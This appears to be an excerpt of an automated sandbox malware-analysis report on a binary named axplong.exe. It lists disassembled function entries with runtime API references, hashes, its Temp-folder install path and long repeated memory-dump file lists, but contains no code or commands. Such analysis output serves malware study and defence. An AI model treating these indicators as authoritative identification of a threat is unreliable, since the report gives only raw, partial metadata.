Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 7857622a96dd92b5df68e3e720d31f22d5132f3a72027473f3882525f1f2a47b
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 6CF037B1604A204EEAA5AB688411FAB23DBDF44715F00C41DE59B97642CE24E983CB95

Function 006A7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 006A726C

Strings

`zj, xrefs: 006A7282
@.i, xrefs: 006A7250

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.i$`zj
API String ID: 3366076730-1876111630
Opcode ID: dfdd01ae1737905a9d258e25f7e4a95497f87c3eae67c2836649d4eedcb74609
Instruction ID: 07f4d1ba849b68399fe572963289eb0f98cb2535e6c00fc8feb30bfbd8a8592c
Opcode Fuzzy Hash: dfdd01ae1737905a9d258e25f7e4a95497f87c3eae67c2836649d4eedcb74609
Instruction Fuzzy Hash: 38A126B0A017198FDB21DFA8C88479EBBF2BF49710F198159E819AB351E7759D01CF90

Function 006A7870 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 006A7968
__Mtx_destroy_in_situ.LIBCPMT ref: 006A7971

Strings

@yj, xrefs: 006A794A

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: @yj
API String ID: 1432671424-3695255083
Opcode ID: 6aaaba035a09510120617f879806d53a0e9d6a17eaf534398aec41239f568f43
Instruction ID: 2dd8d6ae94ec06e98fc583a7d967add35a804a1e5443723e8b682cf29f2b150f
Opcode Fuzzy Hash: 6aaaba035a09510120617f879806d53a0e9d6a17eaf534398aec41239f568f43
Instruction Fuzzy Hash: 8A31C0B29043049BD720EF68D845A6BB7E9EF16310F000A7EE946C7742E771EE548BA5

Function 006CF21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006CF263

Strings

8"o, xrefs: 006CF30B
`'o, xrefs: 006CF235

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"o$`'o
API String ID: 3903695350-933842191
Opcode ID: 3a00a4d5ae036bc36d74e045e7195c9025937f03ed064251ff6aa66248beff31
Instruction ID: 9248d418faefcafba4a94d15fec1455e5dbff61aa11b2a86e6c0a3192fae04bd
Opcode Fuzzy Hash: 3a00a4d5ae036bc36d74e045e7195c9025937f03ed064251ff6aa66248beff31
Instruction Fuzzy Hash: EC315C31600209AFEB61ABB8E945FBA77EBEF00314F10452DE44AD7291DF76ED808B55

Function 00693930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00693962
__Mtx_init_in_situ.LIBCPMT ref: 006939A1

Strings

pBi, xrefs: 00693940

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4706629701.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707686757.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707799817.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4707878299.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4708044169.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709122257.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709210472.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709395907.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709484840.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709550569.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709614822.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4709661927.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710559459.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710696124.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4710869674.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4712984146.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713341867.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713438502.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713587627.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4713853632.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714384535.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714509226.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714609959.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714652704.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714699467.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714743825.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714783479.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714828772.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4714871922.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBi
API String ID: 3366076730-1569801529
Opcode ID: 465d49f9a613e50523a9e0f49c8907a5618406c41306cb8bf4fa4740eccb2072
Instruction ID: 3993106945adeed3e28dc381456e91acc96a86093344875311efa49e6457647c
Opcode Fuzzy Hash: 465d49f9a613e50523a9e0f49c8907a5618406c41306cb8bf4fa4740eccb2072
Instruction Fuzzy Hash: 504114B0501B059FDB20CF19C588B9ABBF6FF44315F14861DE86A8B741E7B5AA15CF80

Function 006CDEA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, xrefs: 006CDEA8

Memory Dump Source

Source File: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000013.00000002.4689556026.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4690859834.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691660698.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691765971.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4691911663.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696692809.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4696975055.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4697922280.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699420723.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702535882.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4702653147.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704422063.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704505096.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4704629322.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000013.00000002.4705496854.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
